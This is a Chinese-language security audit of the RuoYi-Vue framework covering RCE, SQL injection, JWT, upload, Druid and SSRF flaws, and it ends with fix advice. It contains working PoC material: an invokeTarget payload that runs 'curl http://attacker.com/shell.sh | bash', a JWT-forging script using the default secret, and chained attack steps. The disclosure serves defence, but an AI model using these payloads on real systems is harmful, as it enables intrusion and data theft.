适合人群:Java安全研究员、代码审计工程师、渗透测试工程师
前置知识:Java Spring Boot、MyBatis、JWT认证基础
一、前置准备
审计目标: RuoYi-Vue v3.9.2(2026年最新版)
源码规模: 266个Java文件 / 34,305行代码
技术栈: Spring Boot 4.0.3 + MyBatis + JWT + Vue 3
审计工具: Semgrep + 人工代码审计
二、漏洞全景
2.1 Quartz定时任务反射RCE(CVSS 10.0)
文件: ruoyi-common/src/main/java/com/ruoyi/common/utils/JobInvokeUtil.java
public static void invokeMethod(String invokeTarget) throws Exception {
String beanName = getBeanName(invokeTarget); // 用户可控
String methodName = getMethodName(invokeTarget); // 用户可控
Class<?> clazz = Class.forName(beanName); // 任意类加载
Method method = clazz.getMethod(methodName); // 任意方法调用
}
攻击原理: 若依的定时任务模块允许管理员创建Quartz任务,其中invokeTarget参数直接拼接到反射调用中。攻击者只需有任务管理权限,即可执行任意Java方法。
PoC:
// 创建定时任务时的 invokeTarget 参数
invokeTarget = "org.springframework.context.support.ClassPathXmlApplicationContext('http://attacker.com/evil.xml')"
// 或直接RCE
invokeTarget = "java.lang.Runtime.getRuntime().exec('curl http://attacker.com/shell.sh | bash')"
利用条件: 需要系统管理员权限创建定时任务。但在很多部署环境下,默认管理员账号未修改密码,或存在其他越权漏洞。
2.2 MyBatis ${} SQL注入(CVSS 9.4)
位置: 4个Mapper.xml文件使用 ${} 拼接数据权限过滤
| 文件 | 拼接语句 | 参数来源 |
|---|---|---|
| SysUserMapper.xml | ${params.dataScope} | 数据权限参数 |
| SysDeptMapper.xml | ${params.dataScope} | 数据权限参数 |
| SysRoleMapper.xml | ${params.dataScope} | 数据权限参数 |
| SysPostMapper.xml | ${params.dataScope} | 数据权限参数 |
MyBatis ${} vs #{}:
#{}— 预编译参数占位,安全${}— 字符串直接拼接,SQL注入
<!-- 漏洞路径: SysUserMapper.xml -->
<select ...>
SELECT * FROM sys_user
ORDER BY ${params.dataScope} <!-- ← SQL注入! -->
</select>
params对象的数据来源于前端POST参数,攻击者通过控制params.dataScope字段实现注入。
2.3 JWT密钥硬编码(CVSS 8.1)
位置: ruoyi-admin/src/main/resources/application.yml
jwt:
secret: abcdefghijklmnopqrstuvwxyz
影响: 若依使用JWT进行身份认证。这个26位全小写字母的密钥是所有RuoYi-Vue实例的默认配置。只要运维人员没有修改,任何攻击者都能:
- 获取任意用户名
- 在jwt.io网站或使用代码生成Token
- 完全绕过身份验证
import jwt, datetime
token = jwt.encode({
"login_user_key": "admin", # 任意用户
"user_id": 1,
"exp": datetime.datetime.now() + datetime.timedelta(days=7)
}, "abcdefghijklmnopqrstuvwxyz", algorithm="HS256")
print(token) # 可直接使用!
2.4 文件上传绕过与XSS(CVSS 8.8)
位置: CommonController.java + 上传配置
// 文件上传接口无 @PreAuthorize 保护!
@PostMapping("/common/upload")
public AjaxResult uploadFile(MultipartFile file) { ... }
若依的上传白名单包含html和htm扩展名,允许上传HTML文件:
ruoyi:
profile: D:/ruoyi/uploadPath # 默认Windows路径
上传的HTML文件可通过 /profile/../attacker.html 直接访问(permitAll),构成存储型XSS。
2.5 Druid监控后台暴露
路径: /druid/index.html — permitAll 公开访问
凭证: ruoyi/123456 — 硬编码弱口令
攻击: 直接访问Druid监控后台,查看SQL执行记录、数据源信息、Session会话。
2.6 SSRF与SSL信任(CVSS 6.5)
文件: HttpUtils.java
// URL完全用户可控
public static String sendGet(String url) {
URL obj = new URL(url); // ← SSRF!
HttpURLConnection con = (HttpURLConnection) obj.openConnection();
}
// SSL证书全部信任
TrustManager[] trustAllCerts = new TrustManager[] {
new X509TrustManager() { ... } // 不验证任何证书
};
三、关联攻击链
Chain A(最强):JWT伪造 → Quartz RCE(2步完成RCE)
1. JWT密钥: abcdefghijklmnopqrstuvwxyz → 伪造admin Token
2. 创建Quartz任务 → invokeTarget=反射任意类方法
3. 触发任务执行 → RCE!
Chain B:Druid泄露 → 数据库控制
1. 访问 /druid/index.html (permitAll)
2. 弱口令 ruoyi/123456 登录
3. 查看SQL执行记录/数据源信息/Session
4. 全量拖库
Chain C:SQL注入 → 全量泄露
1. 发送包含 params.dataScope 注入的请求
2. ${}拼接 → 盲注提取数据
3. 获取管理员密码hash → 破解 → 后台RCE
四、受影响端点
| 方法 | 路径 | 漏洞 |
|---|---|---|
| POST | /monitor/job/add | Quartz RCE |
| GET | /system/user/list | SQL注入 |
| POST | /common/upload | 文件上传XSS |
| GET | /druid/index.html | 监控泄露 |
| GET | /swagger-ui.html | API文档泄露 |
| POST | /system/notice/* | 权限缺失 |
| GET | /common/download | 任意文件下载 |
五、防御建议
| 漏洞 | 修复方案 |
|---|---|
| Quartz RCE | 白名单允许调用的方法和类 |
| SQL注入 | ${params.dataScope} 替换为 #{} 或严格校验 |
| JWT密钥 | 改为随机32位以上密钥 |
| 文件上传 | 移除html/htm扩展名,改用MIME校验 |
六、常见陷阱
| # | 陷阱 | 说明 |
|---|---|---|
| 1 | "只有管理员能创建任务" | 但默认admin密码123456未改 |
| 2 | "数据权限是内部参数" | params对象完全来自前端请求 |
| 3 | "JWT密钥在生产环境会改" | 但大量部署沿用默认值 |
七、总结
若依框架作为中国最流行的Java快速开发平台(GitHub 22k+ Stars),源代码中存在反射RCE、SQL注入、JWT密钥硬编码三大高危漏洞。其中最严重的是默认JWT密钥 abcdefghijklmnopqrstuvwxyz——攻击者只需要知道这个密钥就能伪造任意身份。
注意:以上漏洞未经授权不得用于非法测试